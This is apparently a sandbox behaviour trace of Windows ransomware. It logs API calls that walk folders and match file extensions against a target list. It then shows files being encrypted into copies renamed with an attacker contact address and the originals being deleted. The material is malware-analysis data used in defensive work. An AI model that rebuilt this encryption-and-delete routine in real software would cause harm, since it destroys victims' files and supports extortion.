	[0275.438] lstrlenW (lpString=".xls") returned 4
	[0275.438] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1
	[0275.438] lstrlenW (lpString=".xlsx") returned 5
	[0275.438] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1
	[0275.438] lstrlenW (lpString=".ppt") returned 4
	[0275.438] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1
	[0275.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62
	[0275.438] lstrlenW (lpString=".zip") returned 4
	[0275.438] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1
	[0275.438] lstrlenW (lpString=".rar") returned 4
	[0275.438] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1
	[0275.438] lstrlenW (lpString=".bz2") returned 4
	[0275.438] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1
	[0275.438] lstrlenW (lpString=".7z") returned 3
	[0275.438] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1
	[0275.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62
	[0275.438] lstrlenW (lpString=".dbf") returned 4
	[0275.438] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1
	[0275.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62
	[0275.438] lstrlenW (lpString=".1cd") returned 4
	[0275.438] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1
	[0275.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62
	[0275.438] lstrlenW (lpString=".jpg") returned 4
	[0275.438] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1
	[0275.439] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=2998) returned 1
	[0275.439] CloseHandle (hObject=0x214) returned 1
	[0275.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico")) returned 0x20
	[0275.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214
	[0275.439] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.439] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0275.440] GetLastError () returned 0x0
	[0275.440] ReadFile (in: hFile=0x214, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0xbb6, lpOverlapped=0x0) returned 1
	[0275.441] WriteFile (in: hFile=0x380, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xbc0, lpOverlapped=0x0) returned 1
	[0275.442] ReadFile (in: hFile=0x214, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.442] WriteFile (in: hFile=0x380, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe4, lpOverlapped=0x0) returned 1
	[0275.442] SetEndOfFile (hFile=0x380) returned 1
	[0275.442] CloseHandle (hObject=0x380) returned 1
	[0275.442] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.442] SetEndOfFile (hFile=0x214) returned 1
	[0275.444] CloseHandle (hObject=0x214) returned 1
	[0275.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico")) returned 1
	[0275.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62
	[0275.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62
	[0275.444] lstrlenW (lpString=".doc") returned 4
	[0275.444] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1
	[0275.444] lstrlenW (lpString=".docx") returned 5
	[0275.444] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1
	[0275.444] lstrlenW (lpString=".pdf") returned 4
	[0275.444] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1
	[0275.444] lstrlenW (lpString=".xls") returned 4
	[0275.444] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1
	[0275.444] lstrlenW (lpString=".xlsx") returned 5
	[0275.445] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1
	[0275.445] lstrlenW (lpString=".ppt") returned 4
	[0275.445] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1
	[0275.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62
	[0275.445] lstrlenW (lpString=".zip") returned 4
	[0275.445] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1
	[0275.445] lstrlenW (lpString=".rar") returned 4
	[0275.445] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1
	[0275.445] lstrlenW (lpString=".bz2") returned 4
	[0275.445] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1
	[0275.445] lstrlenW (lpString=".7z") returned 3
	[0275.445] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1
	[0275.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62
	[0275.445] lstrlenW (lpString=".dbf") returned 4
	[0275.445] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1
	[0275.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62
	[0275.445] lstrlenW (lpString=".1cd") returned 4
	[0275.445] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1
	[0275.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62
	[0275.445] lstrlenW (lpString=".jpg") returned 4
	[0275.445] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1
	[0275.445] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=838) returned 1
	[0275.446] CloseHandle (hObject=0x214) returned 1
	[0275.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg")) returned 0x20
	[0275.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214
	[0275.446] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.446] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0275.446] GetLastError () returned 0x0
	[0275.446] ReadFile (in: hFile=0x214, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x346, lpOverlapped=0x0) returned 1
	[0275.684] WriteFile (in: hFile=0x380, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x350, lpOverlapped=0x0) returned 1
	[0275.685] ReadFile (in: hFile=0x214, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.685] WriteFile (in: hFile=0x380, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0275.685] SetEndOfFile (hFile=0x380) returned 1
	[0277.008] CloseHandle (hObject=0x380) returned 1
	[0277.242] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.242] SetEndOfFile (hFile=0x214) returned 1
	[0277.734] CloseHandle (hObject=0x214) returned 1
	[0277.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0277.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg")) returned 1
	[0277.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64
	[0277.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64
	[0277.735] lstrlenW (lpString=".doc") returned 4
	[0277.735] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1
	[0277.735] lstrlenW (lpString=".docx") returned 5
	[0277.735] lstrcmpiW (lpString1=".docx", lpString2="M.CFG") returned -1
	[0277.735] lstrlenW (lpString=".pdf") returned 4
	[0277.735] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1
	[0277.736] lstrlenW (lpString=".xls") returned 4
	[0277.736] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1
	[0277.736] lstrlenW (lpString=".xlsx") returned 5
	[0277.736] lstrcmpiW (lpString1=".xlsx", lpString2="M.CFG") returned -1
	[0277.736] lstrlenW (lpString=".ppt") returned 4
	[0277.736] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1
	[0277.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64
	[0277.736] lstrlenW (lpString=".zip") returned 4
	[0277.736] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1
	[0277.736] lstrlenW (lpString=".rar") returned 4
	[0277.736] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1
	[0277.736] lstrlenW (lpString=".bz2") returned 4
	[0277.736] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1
	[0277.736] lstrlenW (lpString=".7z") returned 3
	[0277.736] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1
	[0277.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64
	[0277.736] lstrlenW (lpString=".dbf") returned 4
	[0277.736] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1
	[0277.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64
	[0277.736] lstrlenW (lpString=".1cd") returned 4
	[0277.736] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1
	[0277.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64
	[0277.736] lstrlenW (lpString=".jpg") returned 4
	[0277.736] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1
	[0277.737] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.737] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoms.ico.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0278.045] GetLastError () returned 0x0
	[0278.045] ReadFile (hFile=0x214, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0) 

Thread:
	id = 100
	os_tid = 0x688

	[0249.006] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3a60070
	[0249.007] lstrlenW (lpString="C:") returned 2
	[0249.007] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x324fd00 | out: lpFindFileData=0x324fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x518ac0
	[0249.007] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15
	[0249.007] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1
	[0249.007] lstrlenW (lpString="$Recycle.Bin") returned 12
	[0249.007] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1
	[0249.007] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3a70078
	[0249.008] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15
	[0249.008] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x324fa84 | out: lpFindFileData=0x324fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x518b00
	[0249.008] FindNextFileW (in: hFindFile=0x518b00, lpFindFileData=0x324fa84 | out: lpFindFileData=0x324fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.008] FindNextFileW (in: hFindFile=0x518b00, lpFindFileData=0x324fa84 | out: lpFindFileData=0x324fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x84b35c20, ftLastAccessTime.dwHighDateTime=0x1d542e6, ftLastWriteTime.dwLowDateTime=0x84b35c20, ftLastWriteTime.dwHighDateTime=0x1d542e6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0249.008] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62
	[0249.008] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1
	[0249.008] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46
	[0249.008] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1
	[0249.008] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3a80080
	[0249.009] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62
	[0249.009] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x84b35c20, ftLastAccessTime.dwHighDateTime=0x1d542e6, ftLastWriteTime.dwLowDateTime=0x84b35c20, ftLastWriteTime.dwHighDateTime=0x1d542e6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4fb268
	[0249.009] FindNextFileW (in: hFindFile=0x4fb268, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x84b35c20, ftLastAccessTime.dwHighDateTime=0x1d542e6, ftLastWriteTime.dwLowDateTime=0x84b35c20, ftLastWriteTime.dwHighDateTime=0x1d542e6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.009] FindNextFileW (in: hFindFile=0x4fb268, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x84b35c20, ftCreationTime.dwHighDateTime=0x1d542e6, ftLastAccessTime.dwLowDateTime=0x84b35c20, ftLastAccessTime.dwHighDateTime=0x1d542e6, ftLastWriteTime.dwLowDateTime=0x84b35c20, ftLastWriteTime.dwHighDateTime=0x1d542e6, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0249.009] lstrlenW (lpString="desktop.ini") returned 11
	[0249.009] lstrlenW (lpString=".1cd") returned 4
	[0249.009] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0249.009] lstrlenW (lpString=".3ds") returned 4
	[0249.009] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1
	[0249.009] lstrlenW (lpString=".3fr") returned 4
	[0249.009] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1
	[0249.009] lstrlenW (lpString=".3g2") returned 4
	[0249.009] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1
	[0249.009] lstrlenW (lpString=".3gp") returned 4
	[0249.009] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1
	[0249.009] lstrlenW (lpString=".7z") returned 3
	[0249.009] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0249.009] lstrlenW (lpString=".accda") returned 6
	[0249.009] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1
	[0249.009] lstrlenW (lpString=".accdb") returned 6
	[0249.009] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1
	[0249.009] lstrlenW (lpString=".accdc") returned 6
	[0249.009] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1
	[0249.009] lstrlenW (lpString=".accde") returned 6
	[0249.009] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1
	[0249.010] lstrlenW (lpString=".accdt") returned 6
	[0249.010] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1
	[0249.010] lstrlenW (lpString=".accdw") returned 6
	[0249.010] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1
	[0249.010] lstrlenW (lpString=".adb") returned 4
	[0249.010] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1
	[0249.010] lstrlenW (lpString=".adp") returned 4
	[0249.010] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1
	[0249.010] lstrlenW (lpString=".ai") returned 3
	[0249.010] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1
	[0249.010] lstrlenW (lpString=".ai3") returned 4
	[0249.010] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1
	[0249.010] lstrlenW (lpString=".ai4") returned 4
	[0249.010] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1
	[0249.010] lstrlenW (lpString=".ai5") returned 4
	[0249.010] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1
	[0249.010] lstrlenW (lpString=".ai6") returned 4
	[0249.010] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1
	[0249.010] lstrlenW (lpString=".ai7") returned 4
	[0249.010] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1
	[0249.010] lstrlenW (lpString=".ai8") returned 4
	[0249.010] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1
	[0249.010] lstrlenW (lpString=".anim") returned 5
	[0249.010] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1
	[0249.010] lstrlenW (lpString=".arw") returned 4
	[0249.010] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1
	[0249.010] lstrlenW (lpString=".as") returned 3
	[0249.010] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1
	[0249.010] lstrlenW (lpString=".asa") returned 4
	[0249.010] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1
	[0249.010] lstrlenW (lpString=".asc") returned 4
	[0249.010] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1
	[0249.010] lstrlenW (lpString=".ascx") returned 5
	[0249.011] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1
	[0249.011] lstrlenW (lpString=".asm") returned 4
	[0249.011] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1
	[0249.011] lstrlenW (lpString=".asmx") returned 5
	[0249.011] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1
	[0249.011] lstrlenW (lpString=".asp") returned 4
	[0249.011] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1
	[0249.011] lstrlenW (lpString=".aspx") returned 5
	[0249.011] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1
	[0249.011] lstrlenW (lpString=".asr") returned 4
	[0249.011] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1
	[0249.011] lstrlenW (lpString=".asx") returned 4
	[0249.011] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1
	[0249.011] lstrlenW (lpString=".avi") returned 4
	[0249.011] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1
	[0249.011] lstrlenW (lpString=".avs") returned 4
	[0249.011] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1
	[0249.011] lstrlenW (lpString=".backup") returned 7
	[0249.011] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1
	[0249.011] lstrlenW (lpString=".bak") returned 4
	[0249.011] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1
	[0249.011] lstrlenW (lpString=".bay") returned 4
	[0249.011] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1
	[0249.011] lstrlenW (lpString=".bd") returned 3
	[0249.011] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1
	[0249.011] lstrlenW (lpString=".bin") returned 4
	[0249.011] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1
	[0249.011] lstrlenW (lpString=".bmp") returned 4
	[0249.011] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1
	[0249.011] lstrlenW (lpString=".bz2") returned 4
	[0249.011] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0249.011] lstrlenW (lpString=".c") returned 2
	[0249.011] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1
	[0249.012] lstrlenW (lpString=".cdr") returned 4
	[0249.012] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1
	[0249.012] lstrlenW (lpString=".cer") returned 4
	[0249.012] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1
	[0249.012] lstrlenW (lpString=".cf") returned 3
	[0249.012] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1
	[0249.012] lstrlenW (lpString=".cfc") returned 4
	[0249.012] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1
	[0249.012] lstrlenW (lpString=".cfm") returned 4
	[0249.012] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1
	[0249.012] lstrlenW (lpString=".cfml") returned 5
	[0249.012] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1
	[0249.012] lstrlenW (lpString=".cfu") returned 4
	[0249.012] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1
	[0249.012] lstrlenW (lpString=".chm") returned 4
	[0249.012] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1
	[0249.012] lstrlenW (lpString=".cin") returned 4
	[0249.012] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1
	[0249.012] lstrlenW (lpString=".class") returned 6
	[0249.012] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1
	[0249.012] lstrlenW (lpString=".clx") returned 4
	[0249.012] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1
	[0249.012] lstrlenW (lpString=".config") returned 7
	[0249.012] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1
	[0249.012] lstrlenW (lpString=".cpp") returned 4
	[0249.012] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1
	[0249.012] lstrlenW (lpString=".cr2") returned 4
